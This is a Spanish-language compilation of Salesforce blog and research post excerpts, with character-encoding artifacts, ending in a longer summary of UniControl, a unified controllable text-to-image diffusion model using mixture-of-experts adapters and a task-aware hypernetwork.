En nuestra serie “Engineering Energizers” Q&A, exploramos los extraordinarios viajes de l铆deres de ingenier铆a que han alcanzado el 茅xito en sus dominios espec铆ficos. Hoy conocemos a John He, vicepresidente de ingenier铆a de software, que lidera el desarrollo de Einstein Copilot para Tableau: una herramienta innovadora que redefine la forma en que los usuarios interact煤an con sus datos, haciendo que complejas […]
驴Cu谩l fue el desencadenante empresarial de su proyecto? Desde 2018, Salesforce Edge ha estado proporcionando servicios de red de entrega de contenido interno (CDN), incorporando aproximadamente 130,000 nombres de dominio web, incluidas algunas de las mayores propiedades web internas. A lo largo de los a帽os, hemos trabajado para mejorar la estabilidad del servicio, pero ha luchado para mantenerse al d铆a[…]
En esta edici贸n de nuestra serie “Engineering Energizers” Q&A, destacamos a Jeanine Walters, arquitecta principal y arquitecta principal de Marketing Cloud Growth Edition en Salesforce. Con m谩s de 20 a帽os de experiencia en la creaci贸n de soluciones innovadoras en Salesforce, Jeanine ha desempe帽ado un papel fundamental en la creaci贸n de una aplicaci贸n de marketing revolucionaria que permite a las peque帽as y medianas empresas (PYMES) […]
En nuestra serie “Engineering Energizers” Q&A, presentamos a Leo Tran, Arquitecto jefe de ingenier铆a de plataformas en Salesforce. Con m谩s de 15 a帽os de experiencia en liderazgo de ingenier铆a, Leo desempe帽a un papel fundamental en el desarrollo de la plataforma Einstein 1. Esta plataforma integra IA generativa, gesti贸n de datos, capacidades de CRM y sistemas de confianza para proporcionar a las empresas experiencias de cliente personalizadas e impulsadas por IA […]
TL;DR: Moirai es un modelo fundacional de series temporales de vanguardia, que ofrece capacidades de previsi贸n universales. Destaca como un modelo vers谩til de previsi贸n de series temporales capaz de abordar diversas tareas de previsi贸n a trav茅s de m煤ltiples dominios, frecuencias y variables de una manera zero-shot. Para lograrlo, Moirai aborda cuatro grandes retos: (i)
En el trabajo diario de los arquitectos y analistas de negocio de Salesforce, algunos requisitos parecen muy claros y la decisi贸n de crear un Lookup a otro objeto se toma r谩pidamente. Sin embargo, hay ocasiones en las que puede merecer la pena explorar el proceso y el entorno empresarial en torno al requisito un poco m谩s a fondo antes de incurrir en refactorizaciones t茅cnicas y perder tiempo […]
El post Lookup o Junction Object: A Salesforce Architect’s Decision Guide appeared first on Salesforce Ben.
Los empresarios quieren utilizar cada vez m谩s la IA, pero los empleados y los candidatos carecen de los conocimientos necesarios. Ahora, cualquiera puede adquirir conocimientos de IA con el nuevo aprendizaje Trailhead.
Los grandes modelos ling眉铆sticos son la base de las revolucionarias aplicaciones de IA actuales. En lugar de entrenar un LLM en un conjunto de datos masivo, ahorre tiempo utilizando un modelo existente con indicaciones inteligentes basadas en sus datos. He aqu铆 c贸mo.
驴Sabes c贸mo utilizar la IA en marketing? Conozca las principales herramientas impulsadas por IA y c贸mo conectar con su audiencia e hiperpersonalizar a escala.
The post Una hoja de ruta para integrar la IA en tu estrategia de marketing appeared first on Salesforce.
Aprenda sobre la funci贸n Data Actions de Data Cloud y recorra c贸mo ampliar un webhook como objetivo para visualizar e impulsar los resultados empresariales.
Los eventos webhook se pueden utilizar para la visualizaci贸n
Escrito por Viraj Jasani y Andrew Purtell Los datos son el motor de las operaciones de Salesforce y ayudan a nuestros clientes a tomar mejores decisiones a diario. El equipo de almacenamiento de Big Data (BDS), una parte clave de la organizaci贸n de ingenier铆a de Salesforce, despliega posiblemente una de las mayores huellas de producci贸n de bases de datos distribuidas. Esta infraestructura se basa en la combinaci贸n de […]
TL;DR:PyRCA es una biblioteca de aprendizaje autom谩tico de c贸digo abierto dise帽ada espec铆ficamente para realizar an谩lisis de causa ra铆z (RCA) en operaciones de TI. Ofrece un marco integral que permite a los usuarios identificar f谩cilmente las dependencias causales m茅tricas complicadas y localizar autom谩ticamente las causas ra铆z de los incidentes. La biblioteca proporciona una interfaz unificada
El c贸digo abierto se ha convertido en uno de los temas m谩s candentes de la IA, y la fanfarria es bien merecida. La comunidad de c贸digo abierto mantiene un ritmo 谩gil con el estado de la t茅cnica, ofreciendo modelos cada vez mayores y m谩s capaces que a menudo compiten de forma impresionante con sus hom贸logos comerciales. Es una 茅poca apasionante
La reciente cobertura medi谩tica de la IA ha seguido un patr贸n familiar: se lanza un nuevo modelo masivo, que se da a conocer a los beta testers y, finalmente, al p煤blico, pero apenas pasan uno o dos meses antes de que empiecen a surgir rumores sobre el modelo a煤n mayor que supuestamente se est谩 formando para sustituirlo.
La IA se ha convertido en una de las tecnolog铆as m谩s populares del mundo
En el campo de la s铆ntesis de texto a imagen, que avanza con rapidez, los notables progresos en la generaci贸n de im谩genes realistas a partir de indicaciones textuales han sido evidentes. Sin embargo, sigue existiendo un reto importante: 驴c贸mo podemos integrar a la perfecci贸n potentes codificadores de texto preentrenados en
驴Cu谩l es el impacto de Hyperforce en los EAU? Desde el cumplimiento hasta la innovaci贸n, eche un vistazo a c贸mo va a transformar la forma en que utiliza Salesforce.
The post Lo que las empresas de los EAU pueden desbloquear con Hyperforce appeared first on Blog de Salesforce EU.
La semana que viene se celebrar谩 en Nueva Orleans, Luisiana, la trig茅simo s茅ptima Conferencia anual sobre Sistemas de Procesamiento de Informaci贸n Neuronal (NeurIPS), del domingo 10 al s谩bado 16 de diciembre. NeurIPS incluir谩 charlas invitadas, demostraciones y presentaciones orales y en p贸ster de los trabajos aceptados. NeurIPS 2023 se celebrar谩 de nuevo en el
Los seguros se est谩n adaptando poco a poco a la tecnolog铆a y eso son buenas noticias para los suscriptores que buscan hacer menos administraci贸n y m谩s suscripci贸n. Salesforce est谩 aqu铆 para ayudar
El post 隆Es hora de liberar a los suscriptores! appeared first on Blog de Salesforce EU.
Muchos l铆deres empresariales est谩n nerviosos en privado por la IA generativa. Saben que tienen que hacer algo, pero no saben qu茅 y c贸mo. As铆 es como lo desgloso para ellos.
En los 煤ltimos meses he escrito mucho sobre lo que yo llamo Large Action Models, o LAMs, una variaci贸n m谩s activa y aut贸noma de los LLMs que no se limitan a generar contenido como texto o im谩genes, sino que realizan tareas completas e incluso participan en flujos de trabajo, ya sea junto a personas
Noltic se convirti贸 en uno de nuestros embajadores acad茅micos de Salesforce en Ucrania, inspirando y educando a j贸venes talentos. Obtenga m谩s informaci贸n aqu铆.
The post Noltic fomenta el talento de los j贸venes en el mundo acad茅mico appeared first on Salesforce EU Blog.
UniControl es aceptado en NeurIPS’23. 驴Es posible que un 煤nico modelo domine el arte de crear im谩genes a partir de bocetos, mapas, diagramas y mucho m谩s? Aunque los generadores de texto a imagen basados en la difusi贸n, como DALL-E-3, han mostrado resultados notables a partir de instrucciones en lenguaje natural, lograr un control preciso de los dise帽os, los l铆mites y la geometr铆a sigue siendo un reto utilizando s贸lo descripciones de texto. Ahora, los investigadores han desarrollado UniControl, un modelo unificado capaz de manejar diversas condiciones visuales que van desde los bordes hasta los mapas de profundidad dentro de un marco unificado.
Background
La s铆ntesis de texto a imagen (T2I) se ha disparado recientemente gracias a los avances en modelos generativos profundos. Sistemas como DALL-E 2, Imagen y Stable Diffusion pueden generar ahora im谩genes de gran realismo fotogr谩fico controlables mediante instrucciones de lenguaje natural. Estos avances se basan en modelos de difusi贸n que han demostrado ser extremadamente eficaces para la generaci贸n de texto a imagen.
Sin embargo, el control mediante indicaciones de texto apenas es preciso para los atributos espaciales, estructurales y geom茅tricos. Por ejemplo, pedir 芦a帽adir un gran cubo morado禄 depende de la comprensi贸n impl铆citamente aprendida del modelo sobre la geometr铆a 3D. Enfoques recientes como ControlNet han introducido el condicionamiento a se帽ales visuales adicionales, como mapas de segmentaci贸n o detecciones de bordes. Esto permite un control expl铆cito de las regiones de la imagen, los l铆mites, la ubicaci贸n de los objetos, etc.
Pero cada modelo ControlNet s贸lo maneja una condici贸n visual espec铆fica, como los bordes o los mapas de profundidad. Para ampliar las capacidades es necesario un reentrenamiento exhaustivo. La compatibilidad con diversas entradas controlables requiere el desarrollo de modelos especializados para cada tarea. Esto sobrecarga los par谩metros, limita el intercambio de conocimientos y dificulta la adaptaci贸n entre modalidades o la generalizaci贸n fuera del dominio.
Motivaci贸n
Existe una necesidad acuciante de modelos unificados que puedan manejar diversas condiciones visuales para la generaci贸n controlable. La consolidaci贸n de las capacidades en un 煤nico modelo mejorar铆a enormemente la eficiencia de la formaci贸n y el despliegue sin necesidad de m煤ltiples modelos espec铆ficos para cada tarea. Tambi茅n permite explotar las relaciones entre condiciones, como la profundidad y la segmentaci贸n, para mejorar la calidad de la generaci贸n.
Por ejemplo, la estimaci贸n de la profundidad depende en gran medida de la comprensi贸n de la segmentaci贸n sem谩ntica y el dise帽o global de la escena. Un modelo unificado puede aprovechar mejor estas relaciones en comparaci贸n con los modelos de tareas aisladas. Adem谩s, a帽adir nuevas modalidades a modelos individuales conlleva un reentrenamiento masivo, mientras que un enfoque consolidado podr铆a generalizarse sin problemas.
El principal reto consiste en superar el desajuste entre diversas condiciones como bordes, poses, mapas, etc. Cada una de ellas requiere operaciones especializadas en funci贸n de sus caracter铆sticas. Mezclar trivialmente diversas entradas en un modelo falla debido a este desajuste de caracter铆sticas. El objetivo es desarrollar una arquitectura unificada que generalice las tareas y adapte sus componentes condicionantes. Y lo que es m谩s importante, esto debe lograrse sin necesidad de un reentrenamiento exhaustivo cada vez que se ampl铆en las capacidades.
Methods
El UniControl propuesto introduce dos nuevos componentes para permitir la generaci贸n unificada controlable multitarea:
1. Adaptadores de Mezcla de Expertos. Adaptadores de mezcla de expertos: M贸dulos convolucionales paralelos, uno por tarea, que se adaptan a las caracter铆sticas visuales de cada condici贸n.
2. Task-Aware HyperNetwork: Modula din谩micamente los n煤cleos de convoluci贸n de un modelo base en funci贸n de las instrucciones de la tarea.
UniControl se ha entrenado en doce tareas distintas que abarcan bordes, regiones, mapas y mucho m谩s. La arquitectura general del modelo se mantiene constante en todas las tareas, mientras que los componentes de acondicionamiento se especializan.
Adaptadores-mezcla-de-expertos
Los adaptadores proporcionan v铆as espec铆ficas para que cada tarea procese sus caracter铆sticas visuales de forma adecuada. De este modo se supera el desajuste entre diversas condiciones que necesitan un tratamiento especializado.
Por ejemplo, una ruta de mapa de segmentaci贸n se centra m谩s en las relaciones sem谩nticas espaciales que en la geometr铆a 3D. Por el contrario, un adaptador de profundidad har谩 hincapi茅 en la disposici贸n global y las orientaciones de las superficies. Con adaptadores separados por tarea, UniControl puede extraer representaciones matizadas adaptadas a cada tipo de entrada.
Esta modularizaci贸n imita una mezcla de expertos. Cada adaptador act煤a como un 芦experto禄 especializado para su tarea. Las v铆as paralelas evitan los objetivos contradictorios que surgir铆an de un manejo enredado de todas las condiciones. El modelo compone din谩micamente las salidas de los adaptadores relevantes en funci贸n de la tarea de entrada.
Hiperred consciente de la tarea
La hiperred permite la modulaci贸n din谩mica de UniControl en funci贸n de la tarea especificada. Introduce instrucciones como 芦mapa de profundidad a imagen禄 y emite vectores de incrustaci贸n. Estas incrustaciones pueden especializar el modelo modulando sus n煤cleos de convoluci贸n en funci贸n de la tarea.
Por ejemplo, el condicionamiento de la profundidad puede modular las primeras capas para centrarse m谩s en el dise帽o global y la geometr铆a. Mientras tanto, la adaptaci贸n de los bordes puede enfatizar los detalles de mayor frecuencia en las etapas posteriores. La hiperred permite a UniControl aprender la comprensi贸n y el procesamiento especializados de cada tarea y, al condicionar las instrucciones, tambi茅n permite la generalizaci贸n a nuevas tareas en el momento de la prueba. Las relaciones aprendidas durante el entrenamiento multitarea permiten una modulaci贸n sensible incluso para tareas desconocidas. La composici贸n de incrustaciones de tareas conocidas relacionadas facilita la transferencia sin disparos.
Experimentos
UniControl se entren贸 en un conjunto de datos MultiGen-20M con m谩s de 20 millones de tripletas imagen-texto-condici贸n. Los principales resultados demostraron:
Supera a ControlNets de una sola tarea en la mayor铆a de las tareas, benefici谩ndose del entrenamiento conjunto. El dise帽o unificado mejora la eficiencia.
Se generaliza a tareas h铆bridas no vistas como profundidad+pose sin reentrenamiento mediante la composici贸n de adaptadores.
UniControl mantiene 1,4B par谩metros mientras que un conjunto de modelos de una sola tarea (es decir, Multi-ControlNet) requerir铆a m谩s de 4B par谩metros.
La transferencia de cero disparos a nuevas tareas como la coloraci贸n y el inpainting se consigue mezclando adaptadores de tareas relacionadas.
Comparaci贸n visual entre la ControlNet oficial o reimplementada para tareas espec铆ficas y nuestro modelo propuesto.(a)-(b): Ejemplos de resultados de UniControl sobre condiciones h铆bridas (combinaci贸n no vista) con las palabras clave 芦fondo禄 y 芦primer plano禄 adjuntas en los avisos. (c)-(e): Ejemplos de resultados de UniControl en tres tareas no visibles (desdibujado, coloreado, repintado).
